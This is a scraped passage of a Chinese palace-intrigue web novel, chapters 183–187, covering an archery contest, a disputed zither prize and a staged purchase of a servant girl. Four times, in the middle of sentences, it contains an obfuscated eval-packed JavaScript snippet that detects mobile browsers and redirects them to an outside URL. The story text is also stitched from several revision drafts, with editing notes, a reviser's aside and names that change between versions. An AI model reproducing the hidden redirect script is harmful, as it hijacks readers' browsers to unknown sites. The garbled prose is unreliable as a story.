“输了也没关系,反正……” 她正想安慰几句,却见韩承煜不知何时走了过来。 韩承煜的目光在跪了一地的宫人身上扫过,最终落在了那个捧着雀儿尸体的宫人身上。 “说,” 韩承煜的声音低沉而威严, “到底怎么回事?” 那宫人吓得浑身一颤,连忙磕头道: “回禀殿下,李三姑娘的箭……射偏了,晏四姑娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16140860|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的箭……射中了雀儿的眼睛……” 他越说声音越小,最后几乎微不可闻。 晏玥玥愣住了,她怎么也没想到,会是这样的结果。 “这……这怎么可能?” 她喃喃自语, “四姐姐她……她明明……” “明明什么?” 韩承煜转头看向晏玥玥,眼神锐利, “庄二小姐,你似乎对这个结果……很不满意?” 晏玥玥被他看得心头一颤,连忙低下头,不敢再多言。 (文段5修改) “这……这到底算谁赢啊?” “是啊,一个射偏了,一箭命中了猎物……” “这还用说吗?当然是射中活物的厉害了!” “可是……比试之前也没说要射活物啊……” 人群中,议论声越来越大。 有人觉得晏清澜胜之不武,有人觉得周雨柔输得不冤,双方各执一词,争论不休。 周雨柔听着周围的议论声,脸色一阵青一阵白。 她紧紧地咬着嘴唇,指甲深深地掐进了掌心。 (文段9修改+文段1修改) 韩承煜看着眼前这混乱的局面,眉头微微皱起。 他沉吟片刻,忽然转头看向一直沉默不语的童玄珏: “表哥,此事你怎么看?” 童玄珏微微抬眸,目光在人群中扫过,最终落在了晏清澜身上。 他嘴角勾起一抹似笑非笑的弧度,语气淡淡地说道: “射偏了的,自然就是输了。” 韩承煜似乎对这个答案并不意外,他笑了笑,又问道: “那……这醉月琴……” “自然是归胜者所有。” 童玄珏打断了他的话,语气中带着一丝不容置疑的意味。 韩承煜的脸色微微一变,但他很快就掩饰了过去。 他笑了笑,说道: “表哥说的是。既然如此,那这醉月琴……” (文段2修改) 杨澜站在一旁,将这一切尽收眼底。 他看着童玄珏那深不可测的眼神,心中疑虑更甚。 他总觉得,童玄珏对晏清澜……似乎有些过于关注了。 这种关注,让他感到不安。 晏清澜没有理会周围的议论声,只是淡淡地扫了一眼脸色苍白的周雨柔,然后转身对韩承煜说道: “殿下,这场比试,是我输了。 第一百八十三章 ” 她顿了顿,又补充道: “周三小姐的箭法,的确比我高明。” “晏四小姐,你……” 周雨柔猛地抬起头,一脸难以置信地看着晏清澜。 她不明白,晏清澜为什么要这么说。 明明……明明是她赢了。 晏清澜却没有再看她,只是微微颔首,然后转身离开了跑马场。“赔?” 晏清澜尾音轻扬,唇边笑意不改,眼底却凝着一层寒霜,仿佛能淬出冰来。 她缓步走到周雨柔面前,红唇轻启, “李三姑娘,当真觉得,区区一支玉簪,能抵得上你我性命?” 这声音不大,却像一记闷雷,砸在众人心头。 原先还窃窃私语的人群,瞬间噤声。 所有人的视线都胶着在晏清澜身上,有探究,有疑惑,也有几分说不清道不明的……惧怕。 毕竟,跑马场上那一幕幕,还历历在目。 周雨柔对晏清澜,可是招招毙命,丝毫没留情面。 此刻晏清澜这般姿态,倒也不算师出无名。 周雨柔脸色煞白,嘴唇翕动,不敢与晏清澜对视。 她紧紧攥着袖口,指节泛白得吓人。 委屈,不甘,愤怒…… 各种情绪在她心里头翻江倒海,几欲将她吞噬。 可她硬生生忍下了。 她心里清楚,绝对不能再惹怒晏清澜。 否则,今日这脸面,怕是再也捡不回来了。 “也罢……” 周雨柔深吸一口气,强扯出一抹比哭还难看的笑, “你我……好歹签过生死状,命都尚且不论,何况区区玉簪。” 她垂下眼,掩饰住眸中翻涌的恨意。 眼角余光却瞥见晏清澜身上那件崭新的骑装。 干净,利落,连一丝褶皱都瞧不见。 再看看自己,灰头土脸,狼狈不堪…… 这强烈的对比,像针一样扎进她眼里。 “生死状……” 晏清澜轻声重复着这三个字,指尖有一搭没一搭地敲击着腰间的鞭柄。 “李三姑娘倒是提醒我了,有些东西,确实该好好算算。” 她语气陡然一转,话里带了刺。 周雨柔心头一紧,一股不妙的感觉油然而生。 可她不敢多言,只能僵硬地站在原地,任由晏清澜打量。 晏玥玥可管不了这么多。 她早就憋了一肚子火。 眼见韩承煜竟然帮着晏清澜说话,她心里的嫉妒,就像野草一样疯长。 “四姐姐可真是会颠倒黑白!” 晏玥玥冷哼一声,语气尖酸得像淬了毒, “输了就是输了,还找这么多借口,也不嫌丢人!” 她说着,还故意朝韩承煜那边瞟了一眼,眼里的挑衅,明晃晃的。 “彩头理应归胜者,这规矩,难不成还能因为你一句话就改了?” 她顿了顿,声音又拔高了几分, “还是说……” 晏玥玥故意拉长了调子,视线在晏清澜和童玄珏之间来回逡巡, “你和燕王殿下之间,达成了什么见不得人的交易?” 这话一出,周围顿时响起一片抽气声。 谁都没想到,晏玥玥竟然敢当众质疑燕王。 这胆子,简直比天还大! “大胆!” 一声怒喝,如同平地惊雷。 童玄珏脸色阴沉得能滴出水来,眸光冷厉如刀,直刺晏玥玥。 晏玥玥吓得一哆嗦,腿一软,差点直接跪下去。 “咻——” 破空声骤然响起。 一枚飞镖擦着晏玥玥的脸颊飞掠而过,带起一阵刺骨寒意。 几缕断发,缓缓飘落。 飞镖深深扎进晏玥玥身后的红漆柱子里,镖尾兀自颤动。 “啊——” 晏玥玥再也撑不住,尖叫出声。 她脸色煞白,浑身抖得像筛糠,眼里满是惊恐。 童玄珏缓缓收回手,另一只手把玩着一枚飞镖,嘴角勾着一抹似笑非笑的弧度。 他声音很低,却带着不容抗拒的威压: “晏六姑娘,祸从口出。” “本王不想听见第二次。” 他这话说得轻飘飘的,似乎只是随口一提。 可听在晏玥玥耳中,却像阎王的催命符。 她张了张嘴,想要求饶,可嗓子眼像被什么东西卡住了,半个字也吐不出来。 她只能死死抓着身旁丫鬟的手臂,指甲几乎要把丫鬟的肉抠下来,以此来缓解心头的恐惧。 这突如其来的一幕,让在场所有人都吓破了胆。 大家你看看我,我看看你,谁也不敢吭声。 生怕一个不留神,就惹恼了这位阴晴不定的燕王殿下。 毕竟,这位“活阎王”的威名,可不是凭空得来的。 他**如麻,手段狠辣,谁敢轻易招惹? 童玄珏的目光缓缓扫过人群,最后落在晏清澜身上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16144950|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的眼神晦暗不明,没人能猜透他在想些什么。 “这琴,稍后本王自会派人送到韩府。” 他的声音很淡,却清晰地传入了每个人的耳中。 众人听了,都是一愣。 这…… 燕王殿下竟然真要把醉月琴给晏清澜? 还直接送到韩府? 这转变也太快了! 难道……真的是因为晏玥玥那番话? 大家忍不住把视线投向晏清澜。 只见她神色如常,没有丝毫的惊讶,仿佛早就料到会是这个结果。 “多谢殿下。” 晏清澜微微颔首,语气平淡。 这下,众人更摸不着头脑了。 这位晏四姑娘,当真不简单。 面对燕王这样的人物,竟然还能如此镇定。 这份胆量,这份气度,非常人能及。 宋溪溪挽着晏清澜的胳膊,朝晏玥玥得意地挑了挑眉。 她就知道,自家阿清姐姐最厉害! 一把破琴而已,根本不值一提! 不过,她也看得出来,晏玥玥肯定不服气。 毕竟,这醉月琴可是晏玥玥心心念念想要得到的东西。 为了彻底绝了晏玥玥的心思,宋溪溪眼珠一转,计上心来。 她轻轻摇了摇晏清澜的袖子,装作漫不经心地开口: “阿清姐姐,这琴你若是不喜欢,不如送给聚宝轩,还能换些银子花花。” 她故意没提把琴给自己的事,装作一副不感兴趣的样子。 她才不稀罕这琴呢。 她这么说,就是要让晏玥玥知道,这琴,晏清澜根本没放在眼里! 晏清澜闻言,忍不住勾了勾唇角。 她自然明白宋溪溪的用意。 “好啊。” 晏清澜顺水推舟, “那就依溪溪说的,把琴送到聚宝轩。” 她转头看向童玄珏, “劳烦燕王殿下,直接把琴送到聚宝轩吧,也省得我再跑一趟。” 这话一出,众人又是一惊。 这晏四姑娘,真是…… 竟然敢当着燕王的面,把他送出的东西,转手就给卖了? 这胆子,也太大了吧! 可令**跌眼镜的是,童玄珏居然没生气。 他只是微微扬了扬眉,嘴角勾起一抹玩味的笑意。 “无妨。” 他语气淡淡的, “既然是晏四姑娘的意思,本王照办就是。 第一百八十四章 ” 这下,众人彻底傻眼了。 这燕王殿下,今天怕不是吃错药了吧? 怎么对晏四姑娘这么好说话? 难不成…… 众人脑海中,不约而同地浮现出一个大胆的猜测。 可这个猜测,实在太离谱,太匪夷所思,他们根本不敢相信。 只有站在童玄珏身边的姚澜,脸色铁青。 他死死盯着晏清澜,眼神复杂难辨。 有愤怒,有嫉妒,也有……一丝丝的苦涩和无奈。 他心里跟明镜似的,童玄珏这么做,无非就是为了气他。 可他却毫无办法,只能眼睁睁地看着。 这种感觉,让他憋屈得想吐血。 晏清澜自然也注意到了姚澜的目光。 但她毫不在意。 她淡淡地瞥了姚澜一眼,便收回了视线。 她对宋溪溪说道: “走吧。” 说完,便拉着宋溪溪,在众人各异的目光中,离开了校场。 晏玥玥看着晏清澜远去的背影,气得直跺脚。 她紧紧咬着嘴唇,眼泪在眼眶里打转,却硬生生忍着没哭出来。 她知道,今日这脸,她是丢尽了。(按你所说,下面是基于前一次结果的进一步优化,因此会保留一部分前一次输出的内容) 周雨柔原本还以为,自己会是今日这场合里最惹人笑话的那一个。 没成想,晏玥玥逞一时口舌之快,惹恼了童玄珏,也跟着大大地丢了回脸面。 眼见晏玥玥低垂着脑袋,悄悄抹着眼角,周雨柔心底竟莫名生出几分同病相怜的唏嘘。 “玥玥,” 周雨柔轻叹一声,缓步上前, “你也别太往心里去,仔细哭花了脸,反倒让那些个小人看足了笑话。” 话虽这般说着,可周雨柔心里也跟明镜似的。 今日这般情形,她们两个,谁也没比谁好到哪儿去。 晏玥玥倒是没料到,周雨柔自己都这般狼狈了,竟还有心思来宽慰自己。 她眼眶泛红,紧紧攥着手中的丝帕,指节因用力而微微泛白,恨声道: “你是不知,我那四姐姐,打小便惯爱与我争抢。” “但凡……若是长辈们能善待我一点,她便要摆出一副受尽委屈的可怜模样,生像是咱们家苛待了她!” 晏玥玥越说越恼,儿时那些积压心底的不快记忆翻涌上来。 怨愤与不甘交织,沉甸甸地压得她喘不过气。 她一时没能控制住起伏的情绪,连带着嗓音都微微颤抖起来: “便如今日这般,她明知我心仪那醉月琴,却偏要……偏要送给宋溪溪,也不肯留给我!” “宋溪溪身份再尊贵,可到底,我可是她亲生的妹妹啊!” 晏玥玥死死咬着下唇,几乎要咬出血来。 凭什么? 珍贵的云锦缎可以眼也不眨地赠予宋溪溪,稀世的醉月琴也可以毫不犹豫地送给宋溪溪。 可明明,她才是与晏清澜血脉相连的亲妹妹啊! 晏清澜将什么好东西都给了宋溪溪,全然不顾她的感受。 旁人家的姊妹,天下姐姐都会宠爱自己的妹妹? 到了晏清澜这儿,就处处与她针锋相对? “行了,玥玥,” 钱雅芝不知何时走了过来,手里捏着一方帕子,轻轻替晏玥玥拭着泪, “为了她,不值当。往后,你就当没这个姐姐,啊。” 这话,像一记闷雷,在周雨柔耳边炸响。 她难以置信地看向钱雅芝,嘴唇翕动了几下,却终究没能说出什么。 钱雅芝方才的言行,让她本能地感到不适。 她想起了自己的父亲,那个同样偏心庶妹,对她这个嫡女不闻不问的男人。 可眼下这情形,她又能说什么呢? 她不过是个外人,庄家的家事,与她何干? 周雨柔自嘲地笑了笑,摇了摇头,寻了个借口,随即领着侍女转身就走。 “娘,您……您方才说的,可是当真?” 晏玥玥却像是得了什么天大的喜讯一般,眼睛都亮了几分,急切地追问。 她是当真厌恶极了晏清澜。 若有可能,她做梦都盼着爹娘能将晏清澜逐出家门! 只是她也清楚,就眼下情形来看,爹娘对晏清澜的厌恶,还远远没到那般地步。 但晏玥玥在心底冷笑。 她坚信,这一日终将到来。 晏清澜不是一心要攀附陆家么?那就让她攀! 等哪天陆家厌弃了她,亦或是……陆家自身难保,到那时,没了靠山的晏清澜,还不是任由她们搓圆捏扁? 这般想着,晏玥玥心头才觉舒坦了些。 她死死咬着下唇,无声地、一字一顿地说: “晏清澜,咱们走着瞧!” 钱雅芝却并不知晓晏 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他径直走到姚澜面前,似笑非笑地看着他: “那把醉月琴,我猜,最后定会落在宋溪溪手里。” “怎么,你莫不是真想让我帮你讨回来?” 姚澜瞥了他一眼,不以为意地笑了笑: “我还不至于跟一个小丫头置气。” 他顿了顿,又补充道: “何况,那琴虽好,却也并非独一无二。她既喜欢,便送她也无妨。”“清澜,你们可算回来了。” 傅清霁的声音从宫门外传来,带着几分掩饰不住的焦急。 晏清澜闻声,心头一暖,提着裙摆快步迎了上去。 宋溪溪紧随其后,与她并肩而行。 三人一同登上回府的马车。 马蹄嘚嘚,车轮辘辘,行至热闹喧嚣的街市。 突然,拉车的马儿一声嘶鸣,前蹄高高扬起,马车猛地一顿。 晏清澜身形不稳,险些跌倒。 她下意识地抓住车厢内壁,才勉强站稳。 “怎么回事?” 宋溪溪惊呼一声,也顾不得许多,一把掀开车帘。 晏清澜定睛一看,只见前方人潮涌动,围得水泄不通,马车根本无法通行。 第一百八十五章 “怕是遇上什么事了。” 傅清霁沉声说着,微微皱眉。 她素来不喜欢凑热闹,但今日这情况,想绕路怕是也难。 正想着,车夫急匆匆地跑了回来。 “夫人,小姐,” 他喘着粗气,脸色很是难看。 “前面…前面有人卖女儿!” “卖女儿?” 宋溪溪瞪大了眼睛,简直不敢相信自己的耳朵。 “这都什么年代了,还有这种事?” 她气得直跺脚,小脸涨得通红。 “走,去看看!” 傅清霁却比她冷静许多。 “先别急。” 她沉吟片刻,吩咐车夫: “你去打听打听,到底是怎么回事。” 车夫应声而去。 不多时,他便回来了,脸色比之前更加难看。 “回夫人,前面蹲着个赌狗,输光了家产,还欠了一屁股债。” 车夫顿了顿,语气中带着几分不忍。 “他…他要把自己的亲生女儿卖给青楼,抵债。” “什么?!” 这次,连傅清霁都忍不住惊呼出声。 她虽是将军,见惯了生死,却也听不得这种事。 宋溪溪更是气得浑身发抖。 “岂有此理!” 她咬牙切齿,恨不得立刻冲上去把那赌鬼暴打一顿。 “娘,咱们不能不管!” 她转头看向傅清霁,眼中满是焦急和恳求。 “要不咱们把那妹子带走!总不能眼睁睁看着她跳进火坑!” 傅清霁没有立刻答应。 她微微皱眉,心中盘算着。 这事儿,透着一股蹊跷。 她们刚从宫里出来,就遇上这种事,未免也太巧了。 但若是不管,又实在于心不忍。 “这样吧,” 傅清霁思索片刻,有了主意。 “先暗中查查那姑娘的底细,若是身家清白,咱们再出手也不迟。” “至于那赌鬼……” 她眼中闪过一丝冷意。 “这种人,不能让他太容易得逞。” 晏清澜一直没有说话。 她静静地听着傅清霁和宋溪溪的对话,心中却有了自己的打算。 “娘,” 她轻声开口,语气中带着几分坚定。 “不如把这事交给我吧。” 傅清霁一愣,有些惊讶地看向她。 “清澜,你……” 晏清澜微微一笑,眼中闪过一丝自信的光芒。 “您放心,我自有分寸。” 她顿了顿,又补充道: “我身边正好缺个丫鬟,若是那姑娘合适,就让她跟着我吧。” 傅清霁看着晏清澜,心中一阵欣慰。 这孩子,心思缜密,处事果断,比自己想得还要周全。 “好,就依你。” 傅清霁点点头,眼中满是赞许。 “不过,你可得小心些,别被人骗了。” “娘放心。” 晏清澜笑着应道,带着夏竹下了马车。 傅清霁和宋溪溪也跟了下来,站在稍远的地方观望。 人群自动让开一条路。 百姓们都认得傅清霁这位护国大将军,对她敬畏有加。 晏清澜缓步上前,目光落在人群中央。 只见一个瘦弱的女子跪在地上,单薄的衣衫破了好几处,头发凌乱,脸上满是泪痕。 她死死地拽着一个中年男子的衣角,声音嘶哑地哀求着。 “爹,求求你,别卖我……” 那男子身材矮小,贼眉鼠眼,一看就不是什么好人。 他一把甩开女子的手,啐了一口唾沫: “滚一边去!把你拉扯这么大,还不能拿你换几个钱?” 说着,他抬起手,作势要打。 “小娼妇,再敢啰嗦,老子打死你!” “住手!” 晏清澜冷喝一声,声音不大,却带着一股无形的威压。 那男子吓了一跳,手停在半空中,转头看向晏清澜。 他上下打量着她,见她衣着华贵,气度不凡,眼中闪过一丝贪婪。 “哟,这位小姐,您这是要管闲事?” 晏清澜没有理他,只是冷冷地看着他。 夏竹上前一步,指着那女子,对男子说道: “我家小姐心善,见不得这种事。” “你这女儿,我们要了。多少钱,开个价吧。” 那男子一听,顿时来了精神。 他搓了搓手,嘿嘿一笑: “这位小姐真是菩萨心肠!既然您想要这丫头,那就给……五十两吧!” 他这话一出口,周围顿时一片哗然。 “五十两?他怎么不去抢!” “这也太黑心了吧!” “这分明是敲诈!” 百姓们议论纷纷,都为这男子的无耻感到震惊。 晏清澜也忍不住冷笑一声。 “五十两?你可真敢开口。” 夏竹更是气得跳脚。 “你这泼皮,当我们小姐是傻子不成?” 她指着那男子 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“从今往后,这丫头的生死,都与你无关!” “你若敢再来纠缠,休怪我不客气!” 那男子被晏清澜的气势震慑住,一时竟不敢说话。 他犹豫了一下,最终还是点了点头。 “好…好…就依小姐说的办。” 旁边一家成衣铺的掌柜见状,主动走了出来。 “这位小姐,我这有文具,不如就在这儿立个字据吧。” 他笑眯眯地说道,一副乐于助人的模样。 晏清澜看了他一眼,心中了然。 这掌柜,出现的时机倒是恰到好处。 很快,字据立好,按上手印。 晏清澜让夏竹付了银子。 那男子接过银子,掂了掂重量,脸上的笑容更加灿烂了。 他迫不及待地把银子塞进怀里,看都没看那女子一眼,转身就走。 那女子看着男子的背影,眼中闪过一丝复杂的情绪,有不舍,有怨恨,也有解脱。 她缓缓起身,走到晏清澜面前,跪下磕了个头。 “多谢小姐救命之恩,奴婢桂柔,愿为小姐做牛做马,报答小姐的大恩大德。” 宋溪溪看着桂柔,心中一阵感慨。 她实在想不通,这世上怎么会有这样的父亲。 第一百八十六章 为了钱,竟然连自己的亲生女儿都卖。 “这世道……” 她叹了口气,没有再说下去。 傅清霁拍了拍她的肩膀,安慰道: “别想太多了,咱们回去吧。” 回到浮萍居,晏清澜看着眼前的桂柔。 她仔细打量着她,见她虽然衣衫褴褛,但容貌清秀,眉宇间透着一股英气。 “桂柔,” 晏清澜开口,声音中带着几分赞赏。 “你们这场戏,演得不错,银子没白花。”桂柔脊背挺得笔直,眉间一片清冷,全无方才在街上的可怜模样。 她垂首,拱手,声音沉静: “主子,下一步如何行事?” 一阵风吹来,将晏清澜额前的几缕碎发吹得轻轻扬起。 她抬眼,望向窗外,唇角微勾,似笑非笑: “永安伯府,还有赵家,给我盯紧了。但凡有任何异动……” 晏清澜眼神一凛,声音也冷了下来, “立刻回报。” “是。” 桂柔应声,垂首,姿态恭谨。 窗外,几竿青竹在风中轻轻摇晃,竹叶摩擦,发出“沙沙”的声响。 晏清澜缓缓收回视线,眸色渐深。 如今,桂柔已可光明正大地站在她身侧,只是…… 前路迢迢,要做的,还有很多。 她抬手,轻轻敲了敲桌面, “桂柔,磨墨。” 桂柔依言,动作轻柔而熟练地开始研墨。 晏清澜则取过一张素白的宣纸,缓缓铺平。 提笔,蘸墨,落笔。 笔尖在纸上游走,或轻或重,或疾或徐,笔走龙蛇。 待墨迹稍干,她将信笺仔细折好,放入一个绘着青竹的信封中。 “稍后让影阁的人将这封信送去醉月楼,” 晏清澜将信封递给桂柔, “务必亲眼看着芷若姑娘收下。” 桂柔接过信,指尖微微用力。 她抬眼,看向晏清澜,欲言又止: “主子,那芷若姑娘……毕竟不是咱们自己人,您这般信任她……” 芷若,是醉月楼的当家花魁。 生得花容月貌,又才华横溢,是汴京城里出了名的才女。 可说到底,并非自己人。 桂柔心中难免有些担忧。 晏清澜将笔搁在白玉笔山上,动作一如既往的流畅,仿佛已做过千遍万遍。 她抬眸,看向桂柔,语气平淡: “无妨。她身后的人,与咱们目的一致。” 芷若身后是舒临风,舒临风身后…… 是何方神圣,无需她多言。 她与童玄珏,如今算是一条船上的人。 目的,都是要将这大玺朝的官场,搅个天翻地覆。 晏清澜从未忘记自己回京的真正目的。 与庄家的那些陈年旧怨,不过是开胃小菜。 她真正的对手,始终是原书中的那个赢家—— 当朝首辅,韩承煜。 桂柔听了,虽仍不明白晏清澜究竟要做什么,但也知主子自有打算。 何况,晏清澜信中写的,不过是些常见的诗词歌赋,亦或是某些历史文献。 她看不出其中有何玄机,却也知不该多问。 “是。” 桂柔应声,接过信,转身退了出去。 晏清澜走到窗边,伸手推开一扇窗。 微风拂面,吹散了她心头的燥热。 她深吸一口气,又缓缓吐出,这才觉得胸中郁气消散了些。 回到桌边坐下,晏清澜给自己倒了杯茶。 茶刚倒好,这杯茶都没碰一口,一个人影便无声无息地出现在了她对面。 银色面具,玄色衣袍。 除了那位不请自来的燕王殿下童玄珏,还能有谁? 晏清澜眼皮微抬,瞥了他一眼。 她已经习惯了童玄珏这般神出鬼没。 只是…… 她是不是该考虑,在房里放点什么“特别”的东西? 晏清澜暗自思忖。 比如,一条毒蛇? 下次他再敢这般不请自来,就让那毒蛇好好“招待”他一番。 晏清澜斜眼看着他,丝毫没有要招待他的意思。 童玄珏却像是回了自己家一般,自在得很。 他自顾自地倒了杯茶,又从桌上的碟子里拈起一块桂花糕。 慢条斯理地吃了起来。 晏清澜的目光落在他那只拿着糕点的手上。 那只手骨节分明,修长如玉,指尖还沾了些许糕点碎屑。 她心中冷笑,已经在盘算着,下次见面,该在他的茶里下点什么。 巴豆粉? 还是断肠草? 只是分量要掌握好,免得伤敌八百,自损一千。 童玄珏将她的神色尽收眼底,放下了手中的茶盏。 “咚”的一声轻响。 他抬眸,看向晏清澜,唇角勾起一抹似笑非笑的弧度: “我说,你下次想算计人之前,能不能先把脸上的表情收一收?” 他顿了顿,语气中带着几分戏谑, “这演技,未免也太浮夸了些。” 晏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16150212|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清澜一愣。 她倒是没想到,有朝一日,竟会有人说她“演技浮夸”。 这感觉…… 还真是新鲜。 要不是地方不合适,她真想对童玄珏说一句: “你已经吸引到我了。” 晏清澜被自己这突如其来的想法逗乐了。 没忍住,笑出了声。 童玄珏见她笑得眉眼弯弯,眸光微闪。 他没说话,只是静静地看着她。 晏清澜好不容易止住笑,清了清嗓子,问: “说吧,又来做什么?” 她上下打量了童玄珏一番, “堂堂燕王殿下,成日往我这儿跑,莫非……很闲?” “闲”字,她咬得极重。 童玄珏也不恼,端起茶盏,轻轻吹了吹,浅浅地啜了一口。 这才慢悠悠地开口: “晏清澜,你马术不错。” 语气听不出喜怒。 顿了顿,他又补充道, “跑马场上那一箭,怕是还未尽全力吧?” 童玄珏语气笃定。 晏清澜也不否认,只是微微挑眉, “过奖。” 童玄珏放下茶盏,指尖在桌面上轻轻敲击着。 “哒、哒、哒” 极有节奏。 他抬眼,看向晏清澜,目光灼灼: “我记得,你曾说过,要请我喝茶,作为回礼。” 晏清澜闻言,心中暗骂。 这狗贼,分明是当初为了套她的话,故意设下的圈套。 如今竟还好意思旧事重提? 当真是…… 脸皮够厚。 晏清澜心中腹诽,面上却不动声色。 她微微颔首, “确有此事。” “你且稍等,我去去就来。” 她起身,作势要走。 只想快些将这尊瘟神打发走。 跟童玄珏打交道,着实费神。 稍不留神,便会被他绕进去。 童玄珏却不紧不慢地开口: “不必麻烦了。” 他站起身,几步走到晏清澜身前,拦住了她的去路。 “比起喝茶,” 童玄珏微微俯身,靠近晏清澜,声音低沉而富有磁性, “我更想与你切磋一番。” 晏清澜一愣,下意识地后退了一步。 她抬头,看向童玄珏,眼神中带着几分怀疑,几分警惕: “切磋?” “童玄珏,我自认不是你的对手。” 她可不想自讨苦吃。 第一百八十七章 “只是切磋,又不是生死决斗。” 童玄珏轻笑一声, “难不成,你还怕我伤了你不成?” 晏清澜在心中冷哼一声。 她才不怕他伤了她,她只是…… 单纯地不想与他比试罢了。 “我只是觉得,没有必要。” 晏清澜淡淡地开口, “你我之间,似乎没什么可切磋的。” “怎么没有?” 童玄珏挑眉, “你我都是用箭之人,切磋一番,又有何妨?” 他顿了顿,又补充道: “放心,只是点到为止,不会让你签生死状。”“怎么,这是要我再签一次生死状?” 晏清澜端着茶杯的手微微一顿,抬眼看向童玄珏,原本还算温和的笑容,此刻已然褪去,只剩下一片冷然。 童玄珏将她的反应尽收眼底,不置可否地笑了笑。 他与晏清澜打交道也有些时日了,对方几分真几分假,他心里还是有数的。 “不过是私下切磋,用不着那些。” 童玄珏慢条斯理地开口,指尖轻轻摩挲着腰间的玉佩,一下,又一下。 “再说,这英雄也难过美人关,晏四姑娘生得这般……”他微微一顿,目光在她脸上流连一瞬,意有所指,“若是不小心伤着了,岂不是可惜?” 晏清澜听了这话,差点没把刚喝进去的茶喷出来。 她闭了闭眼,竭力克制住自己,才没有失态。 她搁下茶盏,极力维持着优雅的仪态,终究还是没忍住,朝童玄珏翻了个白眼。 这话从别人口中说出来,或许还有几分可信。 可从他童玄珏嘴里说出来……那可真是比三九天的冰碴子还要冷。 谁不知道他燕王殿下是出了名的冷面阎王,心里除了输赢,哪有半分儿女私情? 不过是因为她现在还有些用处,没碍着他的事罢了。 晏清澜心里跟明镜似的,一旦她站到童玄珏的对立面,这人绝对会毫不犹豫地要了她的命,眼睛都不会眨一下。 当然,她对童玄珏,又何尝不是如此?大家彼此彼此。 思及此,晏清澜眼底闪过一丝嘲弄,面上却是不动声色,只淡淡道: “童玄珏,想跟你切磋的人,绕着京城都能排三圈,你又何必非要盯着我?” 童玄珏轻嗤一声,对自己的名声倒是清楚得很。 他微微扬起下巴,眼神里带着几分玩味和不屑: “找旁人?” “那多没意思。”他语气一转,懒洋洋地道,“跟他们比,那比的就不是箭术,而是怎么揣摩人心,怎么逢场作戏了。” 这话倒是让晏清澜有些意外。 她稍稍坐直了身子,眉梢轻挑: “哦?那跟我比,就不是逢场作戏了?” 童玄珏目光灼灼地看着她,语气笃定: “你不会。” 他语气很轻,却带着不容置疑的肯定。 晏清澜虽然有时候狡猾得像只狐狸,嘴巴也毒,但…… 童玄珏在心里斟酌了一下用词,至少,比那些成日里只会争风吃醋、搬弄是非的世家贵女要坦率一些。 当然,也就那么一点点。 比上不足,比下有余。 晏清澜不知道童玄珏心里这些弯弯绕,只觉得这人今日有些反常。 以往虽说也总是试探,但从未像今日这般……咄咄逼人。 她也懒得跟他绕圈子,索性打开天窗说亮话: “童玄珏,你还是另请高明吧。这趟浑水,我不趟。” 她语气干脆,没有丝毫犹豫。 童玄珏这人心思深沉,谁知道他又在打什么鬼主意。 这种云里雾里的试探,实在太累人。 晏清澜自认没那么多闲工夫陪他玩这种无聊的把戏。 眼下还有一堆事等着她处理,哪能整日里跟他在这儿虚与委蛇? 童玄珏见她拒绝得这般干脆,倒也不恼。 他只是定定地看着晏清澜,眼神幽深,让人看不出喜怒。 良久,他才缓缓开口,声音里带着几分玩味和探究: “怎么,在你眼里,我是洪水猛兽?” 他顿了顿,语气低沉了几分,“还是说……你怕输给我?” 晏清澜觉得他这是明知故问。 她瞥了童玄珏一眼,没好气地回了句: “殿下觉得呢?” 童玄珏没有回答,只是端起茶盏,用茶盖轻轻拨动着水面上的茶叶,慢条斯理地喝了一口。 他的目光,却始终没有从晏清澜身上移开,仿佛要将她看穿一般。 良久,他放下茶杯,发出一声轻响,打破了两人之间的沉默。 “看来,只是不愿跟我比。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16159003|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 童玄珏状似不经意地开口,语气里带着几分笃定,“这要是换成旁人……比如杨澜,你怕是不会拒绝得这么干脆。” 晏清澜闻言,眉头瞬间拧成了一个疙瘩。 “杨澜?” 她语气不悦,显然没想到童玄珏会突然提起杨澜。 “这事跟他有什么关系?殿下未免管得太宽了些。” 